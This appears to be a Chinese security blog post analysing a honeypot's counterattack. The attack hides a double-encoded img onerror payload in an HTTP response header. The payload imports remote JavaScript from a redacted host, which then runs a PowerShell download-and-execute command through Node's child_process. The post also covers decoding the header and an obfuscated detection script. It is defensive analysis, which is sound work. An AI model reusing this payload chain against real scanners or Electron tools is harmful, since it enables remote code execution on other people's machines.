蜜罐响应头反制代码分析

  1. 响应头
  2. Node.js 载荷
  3. common.js
  4. 参考

响应头

样本的 X-Powered-By 包含两层 HTML 实体,结构整理后如下:

X-Powered-By: PHP/7&#38;&#35;...;<img src=1 onerror=&#105;&#109;&#112;&#111;&#114;&#116;...>

响应头中的双层实体编码,目标信息已打码

循环调用 html.unescape()

from html import unescape


value = response_header

while True:
    decoded = unescape(value)
    if decoded == value:
        break
    value = decoded

print(value)

第二次解码后得到:

PHP/7<marker><img src=1 onerror=import(unescape(
  'http://<redacted>/<marker>/Node.js'
))>

<marker> 是每个样本不同的随机字符串,同时出现在脚本路径中。

Node.js 载荷

远程脚本的核心结构:

(function () {
  require("child_process").exec(
    "powershell <download and execute payload>"
  );
})();

触发链:

响应头被当作 HTML 渲染
    -> img onerror
    -> 动态 import 远程 JavaScript
    -> Electron/Node.js require
    -> child_process.exec

普通浏览器页面没有 require()。该链条针对开启 Node.js 集成、并把响应头直接写入 DOM 的扫描器或 Electron 工具。

当时记录的几组仿冒登录页和调试现场:

仿冒平台页面调试,机构名称和地址已打码

仿冒邮件系统调试,机构名称和地址已打码

仿冒 ERP 页面调试,机构名称和地址已打码

仿冒登录页调试,目标地址和域名已打码

common.js

另一批样本额外加载:

monitordevinfo/common.js

common.js 使用字符串表、数组轮转和大量索引访问隐藏逻辑。原始记录中使用 JavaScript Deobfuscator 展开后,能确认它负责浏览器环境和调试状态检测。

common.js 搜索结果,目标信息和 Cookie 已打码

common.js 调试现场,原图中的目标信息已打码

当时的批量样本存在以下共同点:

monitordevinfo/common.js
nginx/1.16.1
相同的混淆结构

这些特征只能说明样本使用了相同组件或部署模板,不能单凭 Nginx 版本判断蜜罐。

响应头特征的 FOFA 结果,地址、域名和响应载荷已打码

原记录中的配图:

原记录配图

参考

记一次某东 SRC 踩罐后感

蜜罐接口抓取分享

反-反蜜罐:以三个反蜜罐插件的缺陷为例

JavaScript Deobfuscator


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:蜜罐响应头反制代码分析

字数:415

本文作者:

发布时间:2022-11-27, 03:45:00

最后更新:2026-08-26, 14:57:00

原始链接:https://cnlnn.pages.dev/posts/honeypot-response-header-counterattack/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。